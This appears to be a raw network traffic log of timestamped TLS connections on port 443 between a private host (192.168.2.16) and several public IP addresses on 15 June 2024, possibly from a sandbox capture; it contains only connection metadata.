Jun 15, 2024 11:15:07.403696060 CEST	443	49871	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:07.403899908 CEST	443	49871	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:07.404158115 CEST	49871	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:07.404504061 CEST	49871	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:07.404520988 CEST	443	49871	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:07.406812906 CEST	49876	443	192.168.2.16	52.49.242.239
Jun 15, 2024 11:15:07.406843901 CEST	443	49876	52.49.242.239	192.168.2.16
Jun 15, 2024 11:15:07.406997919 CEST	49876	443	192.168.2.16	52.49.242.239
Jun 15, 2024 11:15:07.407196999 CEST	49876	443	192.168.2.16	52.49.242.239
Jun 15, 2024 11:15:07.407212019 CEST	443	49876	52.49.242.239	192.168.2.16
Jun 15, 2024 11:15:07.456801891 CEST	443	49872	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:07.456893921 CEST	443	49872	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:07.457524061 CEST	49872	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:07.457564116 CEST	443	49872	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:07.457581043 CEST	49872	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:07.457607985 CEST	49872	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:07.545711040 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:07.545986891 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:07.546058893 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:07.546958923 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:07.547040939 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:07.547916889 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:07.547985077 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:07.548063993 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:07.588527918 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:07.592089891 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:07.592154980 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:07.638994932 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:07.937367916 CEST	443	49875	89.149.192.200	192.168.2.16
Jun 15, 2024 11:15:07.937647104 CEST	49875	443	192.168.2.16	89.149.192.200
Jun 15, 2024 11:15:07.937663078 CEST	443	49875	89.149.192.200	192.168.2.16
Jun 15, 2024 11:15:07.938669920 CEST	443	49875	89.149.192.200	192.168.2.16
Jun 15, 2024 11:15:07.938740969 CEST	49875	443	192.168.2.16	89.149.192.200
Jun 15, 2024 11:15:07.939615011 CEST	49875	443	192.168.2.16	89.149.192.200
Jun 15, 2024 11:15:07.939706087 CEST	443	49875	89.149.192.200	192.168.2.16
Jun 15, 2024 11:15:07.939794064 CEST	49875	443	192.168.2.16	89.149.192.200
Jun 15, 2024 11:15:07.939800024 CEST	443	49875	89.149.192.200	192.168.2.16
Jun 15, 2024 11:15:07.945446014 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:07.945487022 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:07.945518970 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:07.945549011 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:07.945575953 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:07.945607901 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:07.945641994 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:07.945668936 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:07.945693016 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:07.945693016 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:07.945693970 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:07.945770979 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:07.945827007 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:07.950016022 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:07.950220108 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:07.950289011 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:07.990972042 CEST	49875	443	192.168.2.16	89.149.192.200
Jun 15, 2024 11:15:07.991092920 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.061532021 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.063283920 CEST	443	49874	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:08.063513994 CEST	49874	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:08.063554049 CEST	443	49874	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:08.063884020 CEST	443	49874	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:08.064182043 CEST	49874	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:08.064256907 CEST	443	49874	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:08.064289093 CEST	49874	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:08.075417042 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.075450897 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.075496912 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.075537920 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.075793982 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.075807095 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.075824022 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.075867891 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.075884104 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.075900078 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.075949907 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.076397896 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.076445103 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.076479912 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.076508045 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.076534033 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.076559067 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.076584101 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.077210903 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.077240944 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.077265024 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.077280998 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.077510118 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.077704906 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.077749968 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.077780008 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.077830076 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.077847004 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.078104973 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.104511976 CEST	443	49874	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:08.117988110 CEST	49874	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:08.179325104 CEST	443	49875	89.149.192.200	192.168.2.16
Jun 15, 2024 11:15:08.179416895 CEST	443	49875	89.149.192.200	192.168.2.16
Jun 15, 2024 11:15:08.180193901 CEST	49875	443	192.168.2.16	89.149.192.200
Jun 15, 2024 11:15:08.181318998 CEST	49875	443	192.168.2.16	89.149.192.200
Jun 15, 2024 11:15:08.181339979 CEST	443	49875	89.149.192.200	192.168.2.16
Jun 15, 2024 11:15:08.183057070 CEST	49877	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:08.183120012 CEST	443	49877	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:08.183204889 CEST	49877	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:08.183388948 CEST	49877	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:08.183408976 CEST	443	49877	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:08.191943884 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.192004919 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.192295074 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.192369938 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.207051992 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.207089901 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.207160950 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.207189083 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.207310915 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.207340002 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.207370996 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.207370996 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.207370996 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.207391024 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.207437038 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.207452059 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.207689047 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.207926989 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.207958937 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.207998991 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.208022118 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.208045959 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.208508015 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.208540916 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.208574057 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.208570004 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.208595991 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.208621979 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.208652973 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.208652973 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.208652973 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.208679914 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.208986998 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.209372997 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.209405899 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.209434032 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.209438086 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.209455013 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.209481001 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.209481001 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.210805893 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.210835934 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.210865021 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.210887909 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.210911989 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.210956097 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.211185932 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.247930050 CEST	443	49876	52.49.242.239	192.168.2.16
Jun 15, 2024 11:15:08.248255968 CEST	49876	443	192.168.2.16	52.49.242.239
Jun 15, 2024 11:15:08.248286009 CEST	443	49876	52.49.242.239	192.168.2.16
Jun 15, 2024 11:15:08.249461889 CEST	443	49876	52.49.242.239	192.168.2.16
Jun 15, 2024 11:15:08.249789000 CEST	49876	443	192.168.2.16	52.49.242.239
Jun 15, 2024 11:15:08.249910116 CEST	49876	443	192.168.2.16	52.49.242.239
Jun 15, 2024 11:15:08.249921083 CEST	443	49876	52.49.242.239	192.168.2.16
Jun 15, 2024 11:15:08.249968052 CEST	443	49876	52.49.242.239	192.168.2.16
Jun 15, 2024 11:15:08.294003963 CEST	49876	443	192.168.2.16	52.49.242.239
Jun 15, 2024 11:15:08.308751106 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.308878899 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.309689045 CEST	443	49874	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:08.309786081 CEST	443	49874	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:08.311114073 CEST	49874	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:08.311311960 CEST	49874	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:08.311357975 CEST	443	49874	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:08.333178997 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.333288908 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.338964939 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.339001894 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.339035988 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.339037895 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.339065075 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.339113951 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.339113951 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.339126110 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.339180946 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.339198112 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.339339018 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.339390993 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.339406013 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.339523077 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.339555025 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.339576006 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.339596033 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.339620113 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.339997053 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.340054035 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.340071917 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.340114117 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.340123892 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.340138912 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.340188026 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.340313911 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.340364933 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.340379953 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.340667009 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.340694904 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.340744019 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.341417074 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.341475010 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.341495037 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.341890097 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.341988087 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.342006922 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.342138052 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.342611074 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.342642069 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.342684031 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.342706919 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.342730045 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.343677998 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.343708992 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.343741894 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.343769073 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.343794107 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.344528913 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.344588041 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.344587088 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.344613075 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.344645023 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.381124973 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.381247044 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.381288052 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.421011925 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.469727039 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.469775915 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.469811916 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.469821930 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.469850063 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.469877005 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.469890118 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.469952106 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.469966888 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.470247030 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.470313072 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.470330000 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.470691919 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.470756054 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.470769882 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.470794916 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.470815897 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.470829964 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.470859051 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.470915079 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.470958948 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.470976114 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.471143007 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.471201897 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.471208096 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.471223116 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.471268892 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.471323967 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.471544981 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.471611023 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.471626043 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.471646070 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.471704006 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.471707106 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.471724033 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.471755028 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.471780062 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.472017050 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.472054958 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.472090960 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.472105026 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.472134113 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.472299099 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.472356081 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.472368956 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.472388029 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.472440958 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.472455025 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.472548962 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.472604990 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.472620010 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.473970890 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.474010944 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.474025965 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.474052906 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.474069118 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.474092960 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.474097967 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.474123001 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.474131107 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.474140882 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.474142075 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.474180937 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.474600077 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.474628925 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.474667072 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.474683046 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.475198030 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.475227118 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.475266933 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.475286961 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.475306034 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.475311041 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.475359917 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.475373030 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.493290901 CEST	443	49876	52.49.242.239	192.168.2.16
Jun 15, 2024 11:15:08.493509054 CEST	443	49876	52.49.242.239	192.168.2.16
Jun 15, 2024 11:15:08.493643045 CEST	49876	443	192.168.2.16	52.49.242.239
Jun 15, 2024 11:15:08.494199038 CEST	49876	443	192.168.2.16	52.49.242.239
Jun 15, 2024 11:15:08.494230032 CEST	443	49876	52.49.242.239	192.168.2.16
Jun 15, 2024 11:15:08.516988039 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.535262108 CEST	49680	80	192.168.2.16	192.229.211.108
Jun 15, 2024 11:15:08.586632967 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.586674929 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.586709023 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.586731911 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.586774111 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.586802959 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.586827040 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.601042032 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.601063013 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.601253033 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.601253986 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.601326942 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.601387024 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.601552963 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.601588964 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.601666927 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.601735115 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.601735115 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.601735115 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.601809025 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.601866961 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.601898909 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.601953983 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:08.610685110 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:08.610763073 CEST	49873	443	192.168.2.16	104.21.234.183
